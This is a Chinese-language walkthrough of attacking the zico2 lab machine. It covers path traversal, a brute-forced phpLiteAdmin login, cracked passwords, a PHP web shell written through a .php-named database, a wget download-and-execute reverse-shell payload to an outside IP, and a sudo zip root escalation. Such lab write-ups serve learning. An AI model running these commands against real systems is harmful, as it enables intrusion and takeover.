zico2靶机渗透
开放了四个端口,分别是22,80,111以及57781端口。
扫到了目录http://192.168.114.152/dbadmin/
进入看到php文件,访问,发现一个登录窗口。
文件:test_db.php
另外还发现了一个任意文件读取的漏洞。
like:
http://192.168.114.152/view.php?page=../../../../..//etc/passwd
能够回显。
或者是:
http://192.168.114.152/view.php?page=./dbadmin/test_db.php
回到页面尝试暴力破解,十分简单是个弱密码,爆破出来是admin。
而且直接就进来了。
暂时没有找到能传shell的点,但是发现两个用户,分别是zico以及root。
不是base32的解码,尝试md5。
root账户密码为34kroot34
。
zico账户密码为zico2215@
。
ssh登录发现不行,zico登录不上去,更不要说root了。
这好像不太行,尝试创建一个数据库,看到那个小问号,点进去发现能够利用。
When you create a new database, the name you entered will be appended with the appropriate file extension (.db, .db3, .sqlite, etc.) if you do not include it yourself. The database will be created in the directory you specified as the $directory variable.
意思就是当创建一个新的数据库时,输入的名称将附加适当的文件扩展名例如db, .db3, .sqlite等等,那意味着我们也可以创建一个php后缀的文件。
试一下,随便创建了一个数据库。
Database name: /usr/databases/aa
Path to database: /usr/databases/aa。
Size of database: 1 KB
Database last modified: 8:38am on July 19, 2020
SQLite version: 3.7.9
SQLite extension [?]: PDO
PHP version: 5.3.10-1ubuntu3.26
确实能形成文件,这样配合之前发现的文件包含漏洞即未过滤的include函数,可以写shell并且运行了。
创建一个表,然后写个一句话木马。
登进入但是全是乱码,服了,又写了一个命令执行的
<?php system($_GET['cmd']) ;?>
我真是傻了,我穿cmd的时候是用?传参的,其实应该用&号,这个想一下应该是清楚的。
<?php system("cd /tmp;wget http://192.168.3.6/shell;chmod +x shell;./shell");?>
msf生成一个反弹的shell
进入msf监听4444端口,成功收到shell,利用pytnon创建一个终端。
只有一个用户在home目录下,到zico目录下。
看到todo.txt,告诉我们前往三个目录下寻找信息。
试了joom在切换到wordpress后发现config文件有用户名及密码。
利用ssh进行登录。
登录后这里提权的点在于zip命令,sudo -l 就能看到,
payload:
sudo zip xxx.zip xxx -T --unzip-command="python -c 'import pty; pty.spawn("/bin/sh")'"
生成了一个虚拟终端,是root。